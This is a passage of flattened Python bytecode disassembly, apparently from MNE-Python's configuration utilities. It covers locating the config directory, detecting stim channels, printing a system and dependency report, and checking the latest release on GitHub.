POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST k LOAD_DEREF key LOAD_METHOD startswith LOAD_FAST k CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST home_dir LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_ATTR environ LOAD_METHOD get LOAD_CONST '_MNE_FAKE_HOME_DIR' CALL_METHOD STORE_FAST home_dir LOAD_FAST home_dir LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST 'nt' LOAD_GLOBAL os LOAD_ATTR name LOAD_METHOD lower CALL_METHOD COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL os LOAD_METHOD getenv LOAD_CONST 'APPDATA' CALL_METHOD STORE_FAST APPDATA_DIR LOAD_GLOBAL os LOAD_METHOD getenv LOAD_CONST 'USERPROFILE' CALL_METHOD STORE_FAST USERPROFILE_DIR LOAD_FAST APPDATA_DIR LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL op LOAD_METHOD isdir LOAD_GLOBAL op LOAD_METHOD join LOAD_FAST APPDATA_DIR LOAD_CONST '.mne' CALL_METHOD CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST APPDATA_DIR STORE_FAST home_dir JUMP_FORWARD to 116 LOAD_FAST USERPROFILE_DIR LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST USERPROFILE_DIR STORE_FAST home_dir JUMP_FORWARD to 116 LOAD_GLOBAL FileNotFoundError LOAD_CONST 'The USERPROFILE environment variable is not set, cannot determine the location of the MNE-Python configuration folder' CALL_FUNCTION RAISE_VARARGS DELETE_FAST APPDATA_DIR DELETE_FAST USERPROFILE_DIR JUMP_FORWARD to 194 LOAD_GLOBAL os LOAD_METHOD getenv LOAD_CONST 'MNE_DONTWRITE_HOME' LOAD_CONST '' CALL_METHOD LOAD_CONST 'true' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL _temp_home_dir LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL tempfile LOAD_METHOD mkdtemp CALL_METHOD STORE_GLOBAL _temp_home_dir LOAD_GLOBAL atexit LOAD_METHOD register LOAD_GLOBAL partial LOAD_GLOBAL shutil LOAD_ATTR rmtree LOAD_GLOBAL _temp_home_dir LOAD_CONST True LOAD_CONST ('ignore_errors',) CALL_FUNCTION CALL_METHOD POP_TOP LOAD_GLOBAL _temp_home_dir STORE_FAST home_dir JUMP_FORWARD to 194 LOAD_GLOBAL os LOAD_ATTR path LOAD_METHOD expanduser LOAD_CONST '~' CALL_METHOD STORE_FAST home_dir LOAD_FAST home_dir LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'mne-python config file path could not be determined, please report this error to mne-python developers' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL op LOAD_METHOD join LOAD_FAST home_dir LOAD_CONST '.mne' CALL_METHOD RETURN_VALUE LOAD_FAST subjects_dir LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL get_config LOAD_CONST 'SUBJECTS_DIR' LOAD_FAST raise_error LOAD_CONST ('raise_error',) CALL_FUNCTION STORE_FAST subjects_dir LOAD_FAST subjects_dir LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL _check_fname LOAD_FAST subjects_dir LOAD_CONST 'read' LOAD_CONST True LOAD_CONST True LOAD_CONST 'subjects_dir' LOAD_CONST ('fname', 'overwrite', 'must_exist', 'need_dir', 'name') CALL_FUNCTION STORE_FAST subjects_dir LOAD_FAST subjects_dir RETURN_VALUE LOAD_CONST 2 LOAD_CONST ('pick_types',) IMPORT_NAME _fiff.pick IMPORT_FROM pick_types STORE_FAST pick_types POP_TOP LOAD_FAST stim_channel LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL isinstance LOAD_FAST stim_channel LOAD_GLOBAL list CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL _validate_type LOAD_FAST stim_channel LOAD_CONST 'str' LOAD_CONST 'Stim channel' CALL_FUNCTION POP_TOP LOAD_FAST stim_channel BUILD_LIST STORE_FAST stim_channel SETUP_LOOP to 74 LOAD_FAST stim_channel GET_ITER FOR_ITER to 72 STORE_FAST channel LOAD_GLOBAL _validate_type LOAD_FAST channel LOAD_CONST 'str' LOAD_CONST 'Each provided stim channel' CALL_FUNCTION POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST stim_channel RETURN_VALUE LOAD_GLOBAL list CALL_FUNCTION STORE_FAST stim_channel LOAD_CONST 0 STORE_FAST ch_count LOAD_GLOBAL get_config LOAD_CONST 'MNE_STIM_CHANNEL' CALL_FUNCTION STORE_FAST ch SETUP_LOOP to 152 LOAD_FAST ch LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST ch LOAD_DEREF info LOAD_CONST 'ch_names' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST stim_channel LOAD_METHOD append LOAD_FAST ch CALL_METHOD POP_TOP LOAD_FAST ch_count LOAD_CONST 1 INPLACE_ADD STORE_FAST ch_count LOAD_GLOBAL get_config LOAD_CONST 'MNE_STIM_CHANNEL_%d' LOAD_FAST ch_count BINARY_MODULO CALL_FUNCTION STORE_FAST ch JUMP_ABSOLUTE POP_BLOCK LOAD_FAST ch_count LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST stim_channel RETURN_VALUE LOAD_CONST 'STI101' LOAD_DEREF info LOAD_CONST 'ch_names' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'STI101' BUILD_LIST RETURN_VALUE LOAD_CONST 'STI 014' LOAD_DEREF info LOAD_CONST 'ch_names' BINARY_SUBSCR COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'STI 014' BUILD_LIST RETURN_VALUE LOAD_FAST pick_types LOAD_DEREF info LOAD_CONST False LOAD_CONST False LOAD_CONST True LOAD_CONST ('meg', 'ref_meg', 'stim') CALL_FUNCTION STORE_FAST stim_channel LOAD_GLOBAL len LOAD_FAST stim_channel CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST raise_error POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST "No stim channels found. Consider specifying them manually using the 'stim_channel' parameter." CALL_FUNCTION RAISE_VARARGS LOAD_CLOSURE info BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8af162e5d0, file "f.py", line 512> LOAD_CONST '_get_stim_channel.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST stim_channel GET_ITER CALL_FUNCTION STORE_FAST stim_channel LOAD_FAST stim_channel RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST ch_ LOAD_DEREF info LOAD_CONST 'ch_names' BINARY_SUBSCR LOAD_FAST ch_ BINARY_SUBSCR LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL Path LOAD_GLOBAL __file__ CALL_FUNCTION LOAD_ATTR parents LOAD_CONST 1 BINARY_SUBSCR STORE_FAST root_dir LOAD_FAST root_dir LOAD_ATTR parent STORE_DEREF up_dir LOAD_DEREF up_dir LOAD_CONST 'setup.py' BINARY_TRUE_DIVIDE LOAD_METHOD is_file CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL all LOAD_CLOSURE up_dir BUILD_TUPLE LOAD_CONST <code object <genexpr> at 0x7f8af162e030, file "f.py", line 521> LOAD_CONST '_get_root_dir.<locals>.<genexpr>' MAKE_FUNCTION LOAD_CONST ('mne', 'examples', 'doc') GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_DEREF up_dir STORE_FAST root_dir LOAD_FAST root_dir RETURN_VALUE LOAD_FAST .0 FOR_ITER to 22 STORE_FAST x LOAD_DEREF up_dir LOAD_FAST x BINARY_TRUE_DIVIDE LOAD_METHOD is_dir CALL_METHOD YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_CONST 'unknown linalg bindings' STORE_FAST bad_lib SETUP_EXCEPT to 22 LOAD_CONST 0 LOAD_CONST ('threadpool_info',) IMPORT_NAME threadpoolctl IMPORT_FROM threadpool_info STORE_FAST threadpool_info POP_TOP POP_BLOCK JUMP_FORWARD to 68 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST exc POP_TOP SETUP_FINALLY to 54 LOAD_FAST bad_lib LOAD_CONST ' (threadpoolctl module not found: ' LOAD_FAST exc FORMAT_VALUE LOAD_CONST ')' BUILD_STRING BINARY_ADD RETURN_VALUE LOAD_CONST None STORE_FAST exc DELETE_FAST exc END_FINALLY POP_EXCEPT JUMP_FORWARD to 68 END_FINALLY LOAD_FAST threadpool_info CALL_FUNCTION STORE_FAST pools LOAD_GLOBAL dict LOAD_CONST 'OpenBLAS' LOAD_CONST 'MKL' LOAD_CONST ('openblas', 'mkl') CALL_FUNCTION STORE_FAST rename SETUP_LOOP to 162 LOAD_FAST pools GET_ITER FOR_ITER to 160 STORE_FAST pool LOAD_FAST pool LOAD_CONST 'internal_api' BINARY_SUBSCR LOAD_CONST ('openblas', 'mkl') COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST rename LOAD_FAST pool LOAD_CONST 'internal_api' BINARY_SUBSCR BINARY_SUBSCR FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST pool LOAD_CONST 'version' BINARY_SUBSCR FORMAT_VALUE LOAD_CONST ' with ' LOAD_FAST pool LOAD_CONST 'num_threads' BINARY_SUBSCR FORMAT_VALUE LOAD_CONST ' thread' LOAD_GLOBAL _pl LOAD_FAST pool LOAD_CONST 'num_threads' BINARY_SUBSCR CALL_FUNCTION FORMAT_VALUE BUILD_STRING RETURN_VALUE JUMP_ABSOLUTE POP_BLOCK LOAD_FAST bad_lib RETURN_VALUE LOAD_GLOBAL subprocess LOAD_ATTR run LOAD_GLOBAL sys LOAD_ATTR executable LOAD_CONST '-c' LOAD_GLOBAL _gpu_cmd BUILD_LIST LOAD_CONST False LOAD_CONST True LOAD_CONST ('check', 'capture_output') CALL_FUNCTION STORE_FAST proc LOAD_FAST proc LOAD_ATTR stdout LOAD_METHOD decode CALL_METHOD LOAD_METHOD strip CALL_METHOD LOAD_METHOD replace LOAD_CONST '\r' LOAD_CONST '' CALL_METHOD LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD STORE_FAST out LOAD_FAST proc LOAD_ATTR returncode POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST out CALL_FUNCTION LOAD_CONST 2 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_CONST (None, None) RETURN_VALUE LOAD_FAST out RETURN_VALUE LOAD_GLOBAL _validate_type LOAD_FAST dependencies LOAD_GLOBAL str CALL_FUNCTION POP_TOP LOAD_GLOBAL _check_option LOAD_CONST 'dependencies' LOAD_FAST dependencies LOAD_CONST ('user', 'developer') CALL_FUNCTION POP_TOP LOAD_GLOBAL _validate_type LOAD_FAST check_version LOAD_GLOBAL bool LOAD_CONST 'numeric' BUILD_TUPLE LOAD_CONST 'check_version' CALL_FUNCTION POP_TOP LOAD_FAST dependencies LOAD_CONST 'developer' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 24 JUMP_FORWARD to 52 LOAD_CONST 21 STORE_FAST ljust LOAD_GLOBAL platform LOAD_METHOD platform CALL_METHOD STORE_FAST platform_str LOAD_GLOBAL platform LOAD_METHOD system CALL_METHOD LOAD_CONST 'Darwin' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL sys LOAD_ATTR version_info LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_CONST (3, 8) COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL platform LOAD_METHOD mac_ver CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST macos_ver LOAD_GLOBAL re LOAD_METHOD findall LOAD_CONST 'Darwin-.*?-(.*)' LOAD_FAST platform_str CALL_METHOD STORE_FAST macos_architecture LOAD_FAST macos_architecture POP_JUMP_IF_FALSE LOAD_FAST macos_architecture LOAD_CONST 0 BINARY_SUBSCR STORE_FAST macos_architecture LOAD_CONST 'macOS-' LOAD_FAST macos_ver FORMAT_VALUE LOAD_CONST '-' LOAD_FAST macos_architecture FORMAT_VALUE BUILD_STRING STORE_FAST platform_str DELETE_FAST macos_ver DELETE_FAST macos_architecture LOAD_GLOBAL partial LOAD_GLOBAL print LOAD_CONST '' LOAD_FAST fid LOAD_CONST ('end', 'file') CALL_FUNCTION STORE_FAST out LOAD_FAST out LOAD_CONST 'Platform' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD LOAD_FAST platform_str BINARY_ADD LOAD_CONST '\n' BINARY_ADD CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST 'Python' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD LOAD_GLOBAL str LOAD_GLOBAL sys LOAD_ATTR version CALL_FUNCTION LOAD_METHOD replace LOAD_CONST '\n' LOAD_CONST ' ' CALL_METHOD BINARY_ADD LOAD_CONST '\n' BINARY_ADD CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST 'Executable' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD LOAD_GLOBAL sys LOAD_ATTR executable BINARY_ADD LOAD_CONST '\n' BINARY_ADD CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST 'CPU' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD LOAD_GLOBAL platform LOAD_METHOD processor CALL_METHOD FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING BINARY_ADD CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST '(' LOAD_GLOBAL multiprocessing LOAD_METHOD cpu_count CALL_METHOD FORMAT_VALUE LOAD_CONST ' cores)\n' BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST 'Memory' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD CALL_FUNCTION POP_TOP SETUP_EXCEPT to 320 LOAD_CONST 0 LOAD_CONST None IMPORT_NAME psutil STORE_FAST psutil POP_BLOCK JUMP_FORWARD to 350 DUP_TOP LOAD_GLOBAL ImportError COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST out LOAD_CONST 'Unavailable (requires "psutil" package)' CALL_FUNCTION POP_TOP POP_EXCEPT JUMP_FORWARD to 380 END_FINALLY LOAD_FAST out LOAD_FAST psutil LOAD_METHOD virtual_memory CALL_METHOD LOAD_ATTR total LOAD_GLOBAL float LOAD_CONST 1073741824 CALL_FUNCTION BINARY_TRUE_DIVIDE LOAD_CONST '0.1f' FORMAT_VALUE with format LOAD_CONST ' GB\n' BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST '\n' CALL_FUNCTION POP_TOP LOAD_FAST ljust LOAD_CONST 3 INPLACE_SUBTRACT STORE_FAST ljust LOAD_GLOBAL _get_numpy_libs CALL_FUNCTION STORE_FAST libs BUILD_LIST STORE_FAST unavailable LOAD_CONST ('# Core', 'mne', 'numpy', 'scipy', 'matplotlib', 'pooch', 'jinja2', '', '# Numerical (optional)', 'sklearn', 'numba', 'nibabel', 'nilearn', 'dipy', 'openmeeg', 'cupy', 'pandas', '', '# Visualization (optional)', 'pyvista', 'pyvistaqt', 'vtk', 'qtpy', 'ipympl', 'pyqtgraph', 'mne-qt-browser', 'ipywidgets', 'trame_client', 'trame_server', 'trame_vtk', 'trame_vuetify', '', '# Ecosystem (optional)', 'mne-bids', 'mne-nirs', 'mne-features', 'mne-connectivity', 'mne-icalabel', 'mne-bids-pipeline', '') STORE_FAST use_mod_names LOAD_FAST dependencies LOAD_CONST 'developer' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST use_mod_names LOAD_CONST ('# Testing', 'pytest', 'nbclient', 'numpydoc', 'flake8', 'pydocstyle', '', '# Documentation', 'sphinx', 'sphinx-gallery', 'pydata-sphinx-theme', '') INPLACE_ADD STORE_FAST use_mod_names SETUP_EXCEPT to 458 LOAD_FAST unicode EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_GLOBAL sys LOAD_ATTR stdout LOAD_ATTR encoding LOAD_METHOD lower CALL_METHOD LOAD_METHOD startswith LOAD_CONST 'utf' CALL_METHOD STORE_FAST unicode POP_BLOCK JUMP_FORWARD to 484 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_CONST False STORE_FAST unicode POP_EXCEPT JUMP_FORWARD to 484 END_FINALLY LOAD_CONST True STORE_FAST mne_version_good EXTENDED_ARG SETUP_LOOP to 1290 LOAD_GLOBAL enumerate LOAD_FAST use_mod_names CALL_FUNCTION GET_ITER EXTENDED_ARG FOR_ITER to 1288 UNPACK_SEQUENCE STORE_FAST mi STORE_FAST mod_name LOAD_FAST mod_name LOAD_CONST '' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST unavailable EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_FAST unicode EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '└☐ ' JUMP_FORWARD to 540 LOAD_CONST ' - ' CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST 'unavailable' LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST unavailable CALL_METHOD FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING CALL_FUNCTION POP_TOP BUILD_LIST STORE_FAST unavailable LOAD_FAST mi LOAD_GLOBAL len LOAD_FAST use_mod_names CALL_FUNCTION LOAD_CONST 1 BINARY_SUBTRACT COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_CONST '\n' CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE JUMP_FORWARD to 656 LOAD_FAST mod_name LOAD_METHOD startswith LOAD_CONST '# ' CALL_METHOD EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mod_name LOAD_METHOD replace LOAD_CONST '# ' LOAD_CONST '' CALL_METHOD STORE_FAST mod_name LOAD_FAST out LOAD_FAST mod_name FORMAT_VALUE LOAD_CONST '\n' BUILD_STRING CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE LOAD_CONST '├' STORE_FAST pre LOAD_FAST use_mod_names LOAD_FAST mi LOAD_CONST 1 BINARY_ADD BINARY_SUBSCR LOAD_CONST '' COMPARE_OP == EXTENDED_ARG JUMP_IF_FALSE_OR_POP LOAD_FAST unavailable UNARY_NOT STORE_FAST last LOAD_FAST last EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '└' STORE_FAST pre SETUP_EXCEPT to 716 LOAD_GLOBAL import_module LOAD_FAST mod_name LOAD_METHOD replace LOAD_CONST '-' LOAD_CONST '_' CALL_METHOD CALL_FUNCTION STORE_FAST mod POP_BLOCK JUMP_FORWARD to 750 DUP_TOP LOAD_GLOBAL Exception COMPARE_OP exception match EXTENDED_ARG POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_FAST unavailable LOAD_METHOD append LOAD_FAST mod_name CALL_METHOD POP_TOP POP_EXCEPT EXTENDED_ARG JUMP_ABSOLUTE END_FINALLY LOAD_FAST unicode EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '☑' JUMP_FORWARD to 762 LOAD_CONST '+' STORE_FAST mark LOAD_CONST '' STORE_FAST mne_extra LOAD_FAST mod_name LOAD_CONST 'mne' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST check_version EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST check_version LOAD_CONST True COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST 2.0 JUMP_FORWARD to 804 LOAD_GLOBAL float LOAD_FAST check_version CALL_FUNCTION STORE_FAST timeout LOAD_GLOBAL _check_mne_version LOAD_FAST timeout CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST mne_version_good STORE_FAST mne_extra LOAD_FAST mne_version_good LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST mne_version_good JUMP_FORWARD to 854 LOAD_FAST mne_version_good EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST unicode EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '☒' JUMP_FORWARD to 852 LOAD_CONST 'X' STORE_FAST mark LOAD_FAST out LOAD_FAST unicode EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST pre FORMAT_VALUE LOAD_FAST mark FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING JUMP_FORWARD to 886 LOAD_CONST ' ' LOAD_FAST mark FORMAT_VALUE LOAD_CONST ' ' BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_FAST mod_name FORMAT_VALUE LOAD_METHOD ljust LOAD_FAST ljust CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST mod_name LOAD_CONST 'vtk' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mod LOAD_METHOD vtkVersion CALL_METHOD STORE_FAST vtk_version SETUP_LOOP to 1010 LOAD_CONST ('GetVTKVersionFull', 'GetVTKVersion') GET_ITER FOR_ITER to 982 STORE_FAST attr LOAD_GLOBAL hasattr LOAD_FAST vtk_version LOAD_FAST attr CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL getattr LOAD_FAST vtk_version LOAD_FAST attr CALL_FUNCTION CALL_FUNCTION STORE_FAST version LOAD_FAST version LOAD_CONST '' COMPARE_OP != EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_FAST version CALL_FUNCTION POP_TOP BREAK_LOOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST out LOAD_CONST 'unknown' CALL_FUNCTION POP_TOP JUMP_FORWARD to 1010 LOAD_FAST out LOAD_FAST mod LOAD_ATTR __version__ LOAD_METHOD lstrip LOAD_CONST 'v' CALL_METHOD CALL_FUNCTION POP_TOP LOAD_FAST mod_name LOAD_CONST 'numpy' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_CONST ' (' LOAD_FAST libs FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION POP_TOP JUMP_FORWARD to 1208 LOAD_FAST mod_name LOAD_CONST 'qtpy' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _check_qt_version LOAD_CONST True LOAD_CONST ('return_api',) CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST version STORE_FAST api LOAD_FAST out LOAD_CONST ' (' LOAD_FAST api FORMAT_VALUE LOAD_CONST '=' LOAD_FAST version FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION POP_TOP JUMP_FORWARD to 1208 LOAD_FAST mod_name LOAD_CONST 'matplotlib' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_CONST ' (backend=' LOAD_FAST mod LOAD_METHOD get_backend CALL_METHOD FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION POP_TOP JUMP_FORWARD to 1208 LOAD_FAST mod_name LOAD_CONST 'pyvista' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL _get_gpu_info CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST version STORE_FAST renderer LOAD_FAST version LOAD_CONST None COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_CONST ' (OpenGL unavailable)' CALL_FUNCTION POP_TOP JUMP_FORWARD to 1180 LOAD_FAST out LOAD_CONST ' (OpenGL ' LOAD_FAST version FORMAT_VALUE LOAD_CONST ' via ' LOAD_FAST renderer FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION POP_TOP JUMP_FORWARD to 1208 LOAD_FAST mod_name LOAD_CONST 'mne' COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST out LOAD_CONST ' (' LOAD_FAST mne_extra FORMAT_VALUE LOAD_CONST ')' BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST show_paths EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST last EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST ' ' STORE_FAST pre JUMP_FORWARD to 1242 LOAD_FAST unicode EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_CONST '│ ' STORE_FAST pre JUMP_FORWARD to 1242 LOAD_CONST ' | ' STORE_FAST pre LOAD_FAST out LOAD_CONST '\n' LOAD_FAST pre FORMAT_VALUE LOAD_CONST ' ' LOAD_FAST ljust BINARY_MULTIPLY FORMAT_VALUE LOAD_GLOBAL op LOAD_METHOD dirname LOAD_FAST mod LOAD_ATTR __file__ CALL_METHOD FORMAT_VALUE BUILD_STRING CALL_FUNCTION POP_TOP LOAD_FAST out LOAD_CONST '\n' CALL_FUNCTION POP_TOP EXTENDED_ARG JUMP_ABSOLUTE POP_BLOCK LOAD_FAST mne_version_good EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_FAST out LOAD_CONST '\nTo update to the latest supported release version to get bugfixes and improvements, visit https://mne.tools/stable/install/updating.html\n' CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 'https://api.github.com/repos/mne-tools/mne-python/releases/latest' STORE_FAST url SETUP_EXCEPT to 44 LOAD_GLOBAL urlopen LOAD_FAST url LOAD_FAST timeout LOAD_CONST ('timeout',) CALL_FUNCTION SETUP_WITH to 34 STORE_FAST f LOAD_GLOBAL json LOAD_METHOD load LOAD_FAST f CALL_METHOD STORE_FAST response POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY POP_BLOCK JUMP_FORWARD to 136 DUP_TOP LOAD_GLOBAL URLError LOAD_GLOBAL TimeoutError BUILD_TUPLE COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP STORE_FAST err POP_TOP SETUP_FINALLY to 122 LOAD_CONST 'SSL' LOAD_GLOBAL str LOAD_FAST err CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'SSL error' RETURN_VALUE LOAD_CONST 'timed out' LOAD_GLOBAL str LOAD_FAST err CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_FALSE LOAD_CONST 'timeout after ' LOAD_FAST timeout FORMAT_VALUE LOAD_CONST ' sec' BUILD_STRING RETURN_VALUE LOAD_CONST 'unknown error: ' LOAD_GLOBAL str LOAD_FAST err CALL_FUNCTION FORMAT_VALUE BUILD_STRING RETURN_VALUE POP_BLOCK LOAD_CONST None LOAD_CONST None STORE_FAST err DELETE_FAST err END_FINALLY POP_EXCEPT JUMP_FORWARD to 154 END_FINALLY LOAD_FAST response LOAD_CONST 'tag_name' BINARY_SUBSCR LOAD_METHOD lstrip LOAD_CONST 'v' CALL_METHOD JUMP_IF_TRUE_OR_POP LOAD_CONST 'version unknown' RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _get_latest_version LOAD_FAST timeout CALL_FUNCTION STORE_FAST rel_ver LOAD_FAST rel_ver LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD isnumeric CALL_METHOD POP_JUMP_IF_TRUE LOAD_CONST None LOAD_CONST 'unable to check for latest version on GitHub, ' LOAD_FAST rel_ver FORMAT_VALUE BUILD_STRING BUILD_TUPLE RETURN_VALUE LOAD_GLOBAL parse LOAD_FAST rel_ver CALL_FUNCTION STORE_FAST rel_ver LOAD_GLOBAL parse LOAD_GLOBAL import_module LOAD_CONST 'mne' CALL_FUNCTION LOAD_ATTR __version__ CALL_FUNCTION STORE_FAST this_ver LOAD_FAST this_ver LOAD_FAST rel_ver COMPARE_OP > POP_JUMP_IF_FALSE LOAD_CONST True LOAD_CONST 'devel, latest release is ' LOAD_FAST rel_ver FORMAT_VALUE BUILD_STRING BUILD_TUPLE RETURN_VALUE LOAD_FAST this_ver LOAD_FAST rel_ver COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST (True, 'latest release') RETURN_VALUE LOAD_CONST False LOAD_CONST 'outdated, release ' LOAD_FAST rel_ver FORMAT_VALUE LOAD_CONST ' is available!' BUILD_STRING BUILD_TUPLE RETURN_VALUE LOAD_CONST None RETURN_VALUE
